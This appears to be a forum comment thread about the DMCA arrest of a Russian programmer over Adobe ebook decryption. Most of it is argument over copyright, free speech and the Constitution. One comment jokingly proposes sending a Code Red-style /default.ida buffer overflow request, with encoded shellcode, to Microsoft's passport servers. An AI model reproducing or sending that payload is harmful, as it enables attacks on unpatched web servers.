In this way, the DMCA threatens all security professionals in this country. I want to help Demitriy for this reason. And I think that others wnat to for similar reasons. It is not about laws, it is about rights.
Sig: Tell all your friends NOT to download the Advanced Ebook Processor:
LedgerSMB: Open source Accounting/ERP
Actually no. It restricts access to technologically protected copyrighted works. This probably does not apply to computer systems, and certainly would not do so if you were the legal owner of the copyrighted content...
More likely it will implicitly take that right away from you.
However, there is no law which explicitly prevents you from breaking into your own systems *(except perhaps the access clause of the DMCA, and that only applies to works under someone else's copyright, like the Adobe PDF).
Sig: Tell all your friends NOT to download the Advanced Ebook Processor:
LedgerSMB: Open source Accounting/ERP
Did you mean to say:
:)
You obviously know very little about US
The Lottery:
"Not my manner of thinking but the manner of thinking of others has been the source of my unhappiness." - M
Maskirovka
"Gore said the constitution should be a "living document."
Bullshit. "Living document" are code words for "it meas what we want it to mean, not what it says". The Constitution, and ALL laws have to be interpreted and enforced as WRITTEN.
If you want to change the Constitution, such as to add an amendment allowing the government to eliminate the restrictions on patent and copyright, the process is in there to do it. Government can go get ANY power it wants, but to do it LEGALLY, it has to amend the Constitution.
To do it any other way is to flout the law, and that ultimately leads to what we have now, after many years of Gore-type thinking, STATUTORY law and court rulings by rogue judges, wich grant the Federal Government powers that are not enumerated in the Constitution (the 10th Amendment states explicitly that the Feds are DENIED any power not given to it by the Constitution).
Take this so-called "campaign finance reform" bill being debated... It is tantamount to an ILLEGAL Constitutional Convention, as the law is clearly an infringement of political speech, the explicity kind protected by the 1st Amendment.
The DMCA's passage was also an illegal Constitutional Convention, in that it clearly conflicts with the copyright and patent law in the Constitution, and the 1st Amendment.
When the government itself starts breaking the law, and even worse, the people are letting them get away with it (trading freedom for security), you have the beginnings of tyranny.
=== The price of freedom is eternal vigilance
Doubt it. A corrupt legal system is one of the main things that keeps Russia a third world nation, and the USA on top.
The Nazi pinhead shouting obscenities and "Kill the Jews" outside Temple, HIS speech is protected.
The right-wing minister protesting at a funeral, screaming "God's vengeance on fags," HIS speech is protected.
A geek programmer from Russia gives a speech on software security, and his speech ISN'T protected.
Something's wrong with this picture, maybe the vertical hold's broken...
So, how does that differ from "doing away with it" (and replacing it with a new document)?
I have to agree with the original poster. If you polygraphed every politician, and asked them "If you could get rid of the Consitution and were given carte blance to write a better one, do you think you could do better?". Watch their little piggy eyes light up. Sure, taking industry bribes (sorry, "contributions") is OK, but wouldn't they just love the chance to start a new chapter in the history books?
If you were blocking sigs, you wouldn't have to read this.
Arguably (and that's what lawyers do, argue), this is an copyrightable original derivative work, as are all translations. OK, then it's a plaintext derivative work, not an encrypted public domain work, so ROT-13 it again to encrypt it. ;)
If you were blocking sigs, you wouldn't have to read this.
: I ownz j00! I have a L33t passw0rd crax0r!
Damn script kiddies.
the liberator who destroyed my property has realigned my perception
the liberator who destroyed my property has realigned my perception
www.quantumheresy.com
the password cracker program works well but you can just emulate it's functionality by sending this line to the www.passport.com servers over at microsoft ;-)
/default.ida?
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%
u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%
u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%
u0078%u0000%u00=a HTTP/1.0
GET
intellectual property law is philosophically incoherent. it is your moral duty to ignore it or sabotage it
Not to invoke godwin's law too early, but when you start preaching about how this man is a lawbreaker and should be in prison, never never forget this: The Jews in Nazi Germany were breaking the law. Just because a law is in the books does not mean that it is a JUST law.
Congress can make any damn laws that they want, but that doesn't mean that they are constituional, moral or right. Instead of jumping on the guy for playing a little fast and loose with IP (Imaginary Property), ask youself what harm he has really done the world. Ask youself if a few petty royalty disputes are worth the price of YOUR right to free speach. Don't forget you stand on the edge of a wonderfully slippery slope, and all it takes are a few more Russians coming to America and "trafficing" in free thought and you find you self trapped 17 years in the past.
</rant sorryboutthatfolks="true">
"Your superior intellect is no match for our puny weapons!"
People who wanted to keep their correspondence private, were treated as if they were international arms dealers.
Last year, or was it '99 the export restrictions was relaxed a bit, but only to protect U.S business. Suddenly U.S laws were more lax than Chinese laws, and only a few days after, US tried to threaten China. I found it very ironic that U.S blasted China for having too strict laws on encryption.
Now the only legal uses of encryption are: 1) A tool to remove the rights for fair use.
2) A tool to allow for secure finanancial transactions
I have no faith that the superior court will right this wrong, though. This court has been there for hundreds of years. The judges are appointed by presidents, and they appoint judges who have sympathy for that president's party. The slashdot crowd is outraged by these events, but the man in the street could not care less.
The constitution is open to interpretation. In this case the judges must weigh freedom of speech, and right of use against large corporations right of property. We may think that these cases are slam dunks, but the superior court, currently having a republican majority is very fond of the property bits of the law.
All adobe has to do in order to please the judges, is to accomodate fair use on a case-by-base basis. If a literary critic, or a scholar want to use a quote from an ebook, they'd have to contsact the publisher, prove that they own the book, and specify which excerpts they want. They may even require the fair-use people to copy-protect the derived publication.
Face it, 99% of the people don't give a damn about freedom of speech. They might think they do, but only if it requires no effort on their part, and if all free speech is not offending them. Freedom FROM speech seems to much more popular. That's why there are no cusswords and visible nipples on network television.
Maybe 0.5% is strongly for 1st amendment, and the other 0.5% is strongly against it, and the 0.5% who are against it have the money to buy the legislation, and fight the court battles.
-- Another senseless waste of fine bytes.
This event is an embarrassment, as an American, because this is a law which, arguably, is truly unsound and unjust on its face, and it is untested. And, the first test subject for this law is a non-American. Would it matter if this law was first tested on an American? Possibly --- this is a matter that should be tested by an American because it is a U.S. matter; a matter which should be resolved within our own borders.
/., a non-American whose first language is not English, and I'm not sure if this was his first visit to America, sits in confinement in a U.S. federal prison. Has he spoken with his family? No. His government? No. And how does he feel about America?
I am truly embarrassed.
As we post and read messages on
This issue must be a headline story in mainstream media --- it is far more important than a story of a horny U.S. Congressman. This story is truly a test of due process, free speech, a demonstration of the powers in Washington D.C. and of the U.S. Constitution.
"There ought to be limits to freedom"
I think i see what you are getting at and you are right i would be as guilty as him in some cases. I have done some more reading on it since the post as well, i dont know exactly where i stand on it but i feel that the adobe action may be an over reaction on their part.
It does seem strange that they dont want to face the fact that they might have an imperfect system and i was actually wondering why they didnt simply talk to him and his guys on how it might be fixed or tightened ?
I mean if they are really concerned about the security of their product then havent they got something to learn from him?
Thanks for the reasoned posts - i was honestly having trouble seeing the other side - i think too often those of us on the admin side automatically react and blame the cracker dude - which is a fatal bias IMHO.
I refuse to argue with Anonymous Cowards - if you want a discussion get an account....
Come on now, if you had clients who were in the FBI, wouldn't you attempt to lobby their support for your cause? I know that I would, but, unfortunately, I happen to not know any. The goverment of the US is a highly charged political arena. Being from Chicago ( in the US ), I quickly learned that isn't what you know, or what you have done, or what you have, but rather, who you know. ( Do a search for corruption in Chicago on www.google.com ) I am sorry to say but I honestly doubt a grassroots campaign is going to work towards a mutually benifitial arrangement here. The DMCA is seriously flawed, and the lawyers of major corporations know this, and are exploiting that fact. (Just look at the entire MP3 for personal use posts on /. within the past few weeks). Because he has friends also in the FBI, (and because of that, friends all over the executive branch of government) he is going to going to use everyone he knows to try and get him out of jail. I mean, have you ever sat in jail? If you have, you know that you call _every_ person you can (and are able to) to help get you out of this bind.
At least that is my opinion, but remember, it is worth what you paid for it.
Blah Blah Blah.
you might not like their policies, but you can't deny their software is good. period.
..as usual. however, i wouldn't be surprised if FBI or any other, be it a govermental or private party, used the software. why the hell not? and for those of you who claim that russian media is mum, you're just not informed well or speak out of your ignorance. yes, maybe some peasant who doesn't watch news in Urals might not even know what "hacking" is, but people are rather informed about the matter and updated constantly, for all major newspapers/radio/tv shows report the incident on a daily basis. as per the consulate, it is actively involved. FBI has realized that they did a big no-no and now the try to dig themselves out a pile of sh$t they got themselves in. acting merely out of unknown impulse, they have once again damaged their reputation. adobe is as well, trying to smooth the situation. believe me, in few days the whole thing will get resolved and the guy will get sent back home w/o facing a trial. no, im not a troll.. and yes, i am russian :)